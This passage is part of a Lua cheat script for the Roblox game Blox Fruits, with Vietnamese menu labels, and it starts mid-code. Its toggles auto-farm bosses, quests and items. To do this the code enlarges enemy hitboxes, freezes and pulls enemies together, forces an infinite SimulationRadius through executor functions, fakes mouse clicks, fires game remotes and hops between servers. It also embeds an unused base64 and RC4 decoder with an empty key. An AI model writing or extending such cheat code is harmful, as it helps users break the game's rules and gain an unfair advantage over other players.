\_G.AutoPole = value

\_G.click = value

StopTween(\_G.AutoPole)

end)

Weapon:Toggle("Auto Pole V.1 Hop",\_G.AutoPoleHop,function(value)

\_G.AutoPoleHop = value

end)

spawn(function()

while wait() do

if \_G.AutoPole then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Thunder God [Lv. 575] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Thunder God [Lv. 575] [Boss]" then

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

repeat task.wait()

AutoHaki()

EquipWeapon(\_G.SelectWeapon)

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

until not \_G.AutoPole or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

if game:GetService("ReplicatedStorage"):FindFirstChild("Thunder God [Lv. 575] [Boss]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Thunder God [Lv. 575] [Boss]").HumanoidRootPart.CFrame \* CFrame.new(5,10,7))

else

if \_G.AutoPoleHop then

Hop()

end

end

end

end)

end

end

end)

elseif World2 then

Weapon:Toggle("Mũ Đấu Trường + Tộc V2",\_G.mudautr,function(value)

\_G.mudautr = value

StopTween(\_G.mudautr)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.mudautr and AutoBartiloBring and v.Name == "Swan Pirate [Lv. 775]" and (v.HumanoidRootPart.Position - PosMonBarto.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBarto

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

pcall(function()

while wait() do

if \_G.mudautr then

if game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BartiloQuestProgress","Bartilo") == 0 then

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "Swan Pirates") and string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, "50") and game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if game:GetService("Workspace").Enemies:FindFirstChild("Swan Pirate [Lv. 775]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Swan Pirate [Lv. 775]" then

pcall(function()

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Transparency = 1

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

PosMonBarto = v.HumanoidRootPart.CFrame

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

AutoBartiloBring = true

until not v.Parent or v.Humanoid.Health <= 0 or \_G.mudautr == false or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

AutoBartiloBring = false

end)

end

end

else

repeat topos(CFrame.new(932.624451, 156.106079, 1180.27466, -0.973085582, 4.55137119e-08, -0.230443969, 2.67024713e-08, 1, 8.47491108e-08, 0.230443969, 7.63147128e-08, -0.973085582)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(932.624451, 156.106079, 1180.27466, -0.973085582, 4.55137119e-08, -0.230443969, 2.67024713e-08, 1, 8.47491108e-08, 0.230443969, 7.63147128e-08, -0.973085582)).Magnitude <= 10

end

else

repeat topos(CFrame.new(-456.28952, 73.0200958, 299.895966)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-456.28952, 73.0200958, 299.895966)).Magnitude <= 10

wait(1.1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest","BartiloQuest",1)

end

elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BartiloQuestProgress","Bartilo") == 1 then

if game:GetService("Workspace").Enemies:FindFirstChild("Jeremy [Lv. 850] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Jeremy [Lv. 850] [Boss]" then

OldCFrameBartlio = v.HumanoidRootPart.CFrame

repeat wait()

sethiddenproperty(game:GetService("Players").LocalPlayer, "SimulationRadius", math.huge)

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Transparency = 1

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

v.HumanoidRootPart.CFrame = OldCFrameBartlio

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until not v.Parent or v.Humanoid.Health <= 0 or \_G.mudautr == false

end

end

elseif game:GetService("ReplicatedStorage"):FindFirstChild("Jeremy [Lv. 850] [Boss]") then

repeat topos(CFrame.new(-456.28952, 73.0200958, 299.895966)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-456.28952, 73.0200958, 299.895966)).Magnitude <= 10

wait(1.1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BartiloQuestProgress","Bartilo")

wait(1)

repeat topos(CFrame.new(2099.88159, 448.931, 648.997375)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(2099.88159, 448.931, 648.997375)).Magnitude <= 10

wait(2)

else

repeat topos(CFrame.new(2099.88159, 448.931, 648.997375)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(2099.88159, 448.931, 648.997375)).Magnitude <= 10

end

elseif game:GetService("Players").LocalPlayer.Data.Level.Value >= 800 and game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BartiloQuestProgress","Bartilo") == 2 then

repeat topos(CFrame.new(-1850.49329, 13.1789551, 1750.89685)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1850.49329, 13.1789551, 1750.89685)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1858.87305, 19.3777466, 1712.01807)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1858.87305, 19.3777466, 1712.01807)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1803.94324, 16.5789185, 1750.89685)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1803.94324, 16.5789185, 1750.89685)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1858.55835, 16.8604317, 1724.79541)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1858.55835, 16.8604317, 1724.79541)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1869.54224, 15.987854, 1681.00659)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1869.54224, 15.987854, 1681.00659)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1800.0979, 16.4978027, 1684.52368)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1800.0979, 16.4978027, 1684.52368)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1819.26343, 14.795166, 1717.90625)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1819.26343, 14.795166, 1717.90625)).Magnitude <= 10

wait(1)

repeat topos(CFrame.new(-1813.51843, 14.8604736, 1724.79541)) wait() until not \_G.mudautr or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position-Vector3.new(-1813.51843, 14.8604736, 1724.79541)).Magnitude <= 10

end

end

end

end)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.mudautr and StartEvoStartMagnet and v.Name == "Swan Pirate [Lv. 775]" and (v.HumanoidRootPart.Position - PosMonEvo.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonEvo

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

pcall(function()

while wait() do

if \_G.mudautr then

if not game:GetService("Players").LocalPlayer.Data.Race:FindFirstChild("Evolved") then

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Alchemist","1") == 0 then

topos(CFrame.new(-2779.83521, 72.9661407, -3574.02002, -0.730484903, 6.39014104e-08, -0.68292886, 3.59963224e-08, 1, 5.50667032e-08, 0.68292886, 1.56424669e-08, -0.730484903))

if (Vector3.new(-2779.83521, 72.9661407, -3574.02002) - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 then

wait(1.3)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Alchemist","2")

end

elseif game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Alchemist","1") == 1 then

pcall(function()

if not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 1") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 1") then

topos(game:GetService("Workspace").Flower1.CFrame)

elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 2") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 2") then

topos(game:GetService("Workspace").Flower2.CFrame)

elseif not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 3") and not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flower 3") then

if game:GetService("Workspace").Enemies:FindFirstChild("Swan Pirate [Lv. 775]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Swan Pirate [Lv. 775]" then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

PosMonEvo = v.HumanoidRootPart.CFrame

StartEvoStartMagnet = true

until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flower 3") or not v.Parent or v.Humanoid.Health <= 0 or \_G.mudautr == false

StartEvoStartMagnet = false

end

end

else

StartEvoStartMagnet = false

topos(CFrame.new(980.0985107421875, 121.331298828125, 1287.2093505859375))

end

end

end)

elseif game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Alchemist","1") == 2 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Alchemist","3")

end

end

end

end

end)

end)

Weapon:Seperator(" Legendary Sword ")

Weapon:Toggle("Tự Động Mua Kiếm Legendary",\_G.AutoBuyLegendarySword,function(Value)

\_G.AutoBuyLegendarySword = Value

end)

spawn(function()

while wait() do

if \_G.AutoBuyLegendarySword then

pcall(function()

local args = {

[1] = "LegendarySwordDealer",

[2] = "1"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

local args = {

[1] = "LegendarySwordDealer",

[2] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

local args = {

[1] = "LegendarySwordDealer",

[2] = "3"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

if \_G.AutoBuyLegendarySword\_Hop and \_G.AutoBuyLegendarySword and World2 then

wait(10)

Hop()

end

end)

end

end

end)

Weapon:Toggle("Đổi Sever Mua Kiếm Legendary",\_G.AutoBuySwordHop,function(Value)

\_G.AutoBuyLegendarySword\_Hop = Value

end)

spawn(function()

while \_G.AutoBuyLegendarySword\_Hop do wait()

if \_G.AutoBuyLegendarySword\_Hop then

hop()

end

end

end)

spawn(function()

while wait(7) do

if \_G.AutoBuySwordHop or \_G.HakiColorHop then

local PlaceID = game.PlaceId

local AllIDs = {}

local foundAnything = ""

local actualHour = os.date("!\*t").hour

local Deleted = false

function TPReturner()

local Site;

if foundAnything == "" then

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))

else

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))

end

local ID = ""

if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then

foundAnything = Site.nextPageCursor

end

local num = 0;

for i,v in pairs(Site.data) do

local Possible = true

ID = tostring(v.id)

if tonumber(v.maxPlayers) > tonumber(v.playing) then

for \_,Existing in pairs(AllIDs) do

if num ~= 0 then

if ID == tostring(Existing) then

Possible = false

end

else

if tonumber(actualHour) ~= tonumber(Existing) then

local delFile = pcall(function()

-- delfile("NotSameServers.json")

AllIDs = {}

table.insert(AllIDs, actualHour)

end)

end

end

num = num + 1

end

if Possible == true then

table.insert(AllIDs, ID)

wait()

pcall(function()

-- writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs))

wait()

game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer)

end)

wait(4)

end

end

end

end

function Teleport()

while wait() do

pcall(function()

TPReturner()

if foundAnything ~= "" then

TPReturner()

end

end)

end

end

Teleport()

end

end

end)

Weapon:Seperator(" Haki Màu ")

Weapon:Toggle("Tự Động Mua Haki Màu",\_G.Auto\_Buy\_Enchancement,function(value)

\_G.Auto\_Buy\_Enchancement = value

StopTween(\_G.Auto\_Buy\_Enchancement)

end)

spawn(function()

while wait() do

if \_G.Auto\_Buy\_Enchancement then

local args = {

[1] = "ColorsDealer",

[2] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

end)

Weapon:Seperator(" Rengoku ")

Weapon:Toggle("Lấy Rengoku",\_G.Auto\_Rengoku,function(value)

\_G.Auto\_Rengoku = value

StopTween(\_G.Auto\_Rengoku)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Rengoku and StartRengokuStartMagnet and (v.Name == "Snow Lurker [Lv. 1375]" or v.Name == "Arctic Warrior [Lv. 1350]") and (v.HumanoidRootPart.Position - RengokuMon.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = RengokuMon

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Rengoku then

pcall(function()

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Hidden Key") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Hidden Key") then

EquipWeapon("Hidden Key")

topos(CFrame.new(6571.1201171875, 299.23028564453, -6967.841796875))

elseif game:GetService("Workspace").Enemies:FindFirstChild("Snow Lurker [Lv. 1375]") or game:GetService("Workspace").Enemies:FindFirstChild("Arctic Warrior [Lv. 1350]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if (v.Name == "Snow Lurker [Lv. 1375]" or v.Name == "Arctic Warrior [Lv. 1350]") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

RengokuMon = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

StartRengokuStartMagnet = true

until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Hidden Key") or \_G.Auto\_Rengoku == false or not v.Parent or v.Humanoid.Health <= 0

StartRengokuStartMagnet = false

end

end

else

StartRengokuStartMagnet = false

topos(CFrame.new(5439.716796875, 84.420944213867, -6715.1635742188))

end

end)

end

end

end)

-- Weapon:Seperator(" Swan Glasses ")

--Weapon:Toggle("Auto Swan Glasses",\_G.Auto\_Swan\_Glasses,function(value)

--\_G.Auto\_Swan\_Glasses = value

--StopTween(\_G.Auto\_Swan\_Glasses)

--end)

-- Weapon:Toggle("Auto Swan Glasses Hop",\_G.Auto\_Swan\_Glasses\_Hop,function(value)

--\_G.Auto\_Swan\_Glasses\_Hop = value

--end)

-- spawn(function()

-- while wait() do

-- pcall(function()

-- if \_G.Auto\_Swan\_Glasses and game.ReplicatedStorage:FindFirstChild("Don Swan [Lv. 1000] [Boss]") or game.Workspace.Enemies:FindFirstChild("Don Swan [Lv. 1000] [Boss]") then

-- if game.Workspace.Enemies:FindFirstChild("Don Swan [Lv. 1000] [Boss]") then

-- for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

-- if \_G.Auto\_Swan\_Glasses and v.Name == "Don Swan [Lv. 1000] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

-- repeat wait()

-- EquipWeapon(\_G.Select\_Weapon)

-- AutoHaki()

-- topos(v.HumanoidRootPart.CFrame \* MethodFarm)

-- game:GetService'VirtualUser':CaptureController()

-- game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

-- until not \_G.Auto\_Swan\_Glasses or v.Humanoid.Health <= 0 or not v.Parent

-- end

-- end

-- else

-- topos(CFrame.new(2289.47900390625, 15.152046203613281, 739.512939453125))

-- end

-- else

-- if \_G.Auto\_Swan\_Glasses\_Hop then

-- hop()

-- end

-- end

-- end)

-- end

-- end)

-- Weapon:Seperator(" Trident ")

-- Weapon:Toggle("Auto Dragon Trident",\_G.Auto\_Dragon\_Trident,function(value)

-- \_G.Auto\_Dragon\_Trident = value

-- StopTween(\_G.Auto\_Dragon\_Trident)

--end)

-- Weapon:Toggle("Auto Dragon Trident Hop",\_G.Auto\_Dragon\_Trident\_Hop,function(value)

--\_G.Auto\_Dragon\_Trident\_Hop = value

--end)

-- spawn(function()

-- while wait() do

-- if \_G.Auto\_Dragon\_Trident then

-- pcall(function()

-- if \_G.Auto\_Dragon\_Trident and game.ReplicatedStorage:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") or game.Workspace.Enemies:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") then

-- if game.Workspace.Enemies:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") then

-- for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

-- if v.Name == "Tide Keeper [Lv. 1475] [Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

-- repeat wait()

-- EquipWeapon(\_G.Select\_Weapon)

-- AutoHaki()

-- topos(v.HumanoidRootPart.CFrame \* MethodFarm)

-- game:GetService'VirtualUser':CaptureController()

-- game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

-- until \_G.Auto\_Dragon\_Trident or v.Humanoid.Health <= 0 or not v.Parent

-- end

-- end

-- else

-- topos(CFrame.new(-3914.830322265625, 123.29389190673828, -11516.8642578125))

---- end

-- else

-- if \_G.Auto\_Dragon\_Trident\_Hop then

-- hop()

-- end

-- end

-- end)

-- end

-- end

-- end)

elseif World3 then

Weapon:Seperator(" Soul Reaper ")

Weapon:Toggle("Quay Xương ( Tự Triệu Hồi Và Đánh Boss )",\_G.Auto\_Soul\_Reaper,function(value)

\_G.Auto\_Soul\_Reaper = value

\_G.click = value

StopTween(\_G.Auto\_Soul\_Reaper)

end)

Weapon:Toggle("Qua Sever Khác Quay Xương",\_G.Auto\_Soul\_Reaper\_Hop,function(value)

\_G.Auto\_Soul\_Reaper\_Hop = value

StopTween(\_G.Auto\_Soul\_Reaper\_Hop)

end)

local a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'local b={}for c=1,#a do b[a:sub(c,c)]=c-1 end;local function d(e)local f=0;if e:sub(-2)=='=='then f=2 elseif e:sub(-1)=='='then f=1 end;local g={}e=e:gsub('[^'..a..'=]','')for c=1,#e,4 do local h=(b[e:sub(c,c)]or 0)\*262144+(b[e:sub(c+1,c+1)]or 0)\*4096+(b[e:sub(c+2,c+2)]or 0)\*64+(b[e:sub(c+3,c+3)]or 0)table.insert(g,string.char(math.floor(h/65536)%256))table.insert(g,string.char(math.floor(h/256)%256))table.insert(g,string.char(h%256))end;return table.concat(g):sub(1,#g-f)end;local i=""local j=""local k=d(i)warn(k)local function l(k)local m=#k;local n={}for c=0,255 do n[c]=c end;local o=0;for c=0,255 do o=(o+n[c]+k:byte(c%m+1))%256;n[c],n[o]=n[o],n[c]end;return n end;local function p(n,q)local c=0;local o=0;local r={}for h=1,q do c=(c+1)%256;o=(o+n[c])%256;n[c],n[o]=n[o],n[c]local s=n[(n[c]+n[o])%256]table.insert(r,s)end;return r end;local function t(k,e)local n=l(k)local r=p(n,#e)local u={}for c=1,#e do local v=e:byte(c)local w=r[c]table.insert(u,string.char(bit32.bxor(v,w)))end;return table.concat(u)end

spawn(function()

while wait() do

if \_G.Auto\_Soul\_Reaper then

pcall(function()

if game.Players.LocalPlayer.Backpack:FindFirstChild("Hallow Essence") then

topos(CFrame.new(-8932.83789, 144.098709, 6059.34229, -0.999290943, 7.95623478e-09, -0.0376505218, 4.4684243e-09, 1, 9.27205832e-08, 0.0376505218, 9.24866086e-08, -0.999290943))

elseif game:GetService("Workspace").Enemies:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") or game.ReplicatedStorage:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") then

if game.Workspace.Enemies:FindFirstChild ("Soul Reaper [Lv. 2100] [Raid Boss]") then

for i, v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Soul Reaper [Lv. 2100] [Raid Boss]" then

if \_G.Auto\_Soul\_Reaper and v.Name == "Soul Reaper [Lv. 2100] [Raid Boss]" and v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until not \_G.Auto\_Soul\_Reaper or not v.Parent or v.Humanoid.Health <= 0

end

end

end

end

else

if \_G.Auto\_Soul\_Reaper\_Hop then

hop()

else

local args = {

[1] = "Bones",

[2] = "Buy",

[3] = 1,

[4] = 1

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

end)

end

end

end)

spawn(function()

while wait() do

if \_G.Auto\_Open\_Dough\_Dungeon then

pcall(function()

if game.Players.LocalPlayer.Backpack:FindFirstChild("God's Chalice") or game.Players.LocalPlayer.Character:FindFirstChild("God's Chalice") then

if string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SweetChaliceNpc"),"Where") then

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Enough Material" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("SweetChaliceNpc")

end

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Sweet Chalice") or game.Players.LocalPlayer.Character:FindFirstChild("Sweet Chalice") then

if string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner"),"Do you want to open the portal now?") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner")

else

if game.Workspace.Enemies:FindFirstChild("Baking Staff [Lv. 2250]") or game.Workspace.Enemies:FindFirstChild("Head Baker [Lv. 2275]") or game.Workspace.Enemies:FindFirstChild("Cake Guard [Lv. 2225]") or game.Workspace.Enemies:FindFirstChild("Cookie Crafter [Lv. 2200]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if (v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Cookie Crafter [Lv. 2200]") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartCakeStartMagnet = true

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

POSCAKE = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Open\_Dough\_Dungeon == false or game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") or not v.Parent or v.Humanoid.Health <= 0

end

end

else

StartCakeStartMagnet = false

topos(CFrame.new(-1820.0634765625, 210.74781799316406, -12297.49609375))

end

end

elseif game.ReplicatedStorage:FindFirstChild("Dough King [Lv. 2300] [Raid Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Dough King [Lv. 2300] [Raid Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Dough King [Lv. 2300] [Raid Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Dough King [Lv. 2300] [Raid Boss]" then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.CanCollide = false

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Open\_Dough\_Dungeon == false or not v.Parent or v.Humanoid.Health <= 0

end

end

else

topos(CFrame.new(-2009.2802734375, 4532.97216796875, -14937.3076171875))

end

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Red Key") or game.Players.LocalPlayer.Character:FindFirstChild("Red Key") then

local args = {

[1] = "CakeScientist",

[2] = "Check"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

else

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Diablo") or string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Deandre") or string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text,"Urban") then

if game:GetService("Workspace").Enemies:FindFirstChild("Diablo [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Deandre [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Urban [Lv. 1750]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Diablo [Lv. 1750]" or v.Name == "Deandre [Lv. 1750]" or v.Name == "Urban [Lv. 1750]" then

if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService("VirtualUser"):CaptureController()

game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until \_G.Auto\_Open\_Dough\_Dungeon == false or v.Humanoid.Health <= 0 or not v.Parent or game.Players.LocalPlayer.Backpack:FindFirstChild("God's Chalice") or game.Players.LocalPlayer.Character:FindFirstChild("God's Chalice")

end

end

end

else

if game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

elseif game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]") then

topos(game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]").HumanoidRootPart.CFrame \* MethodFarm)

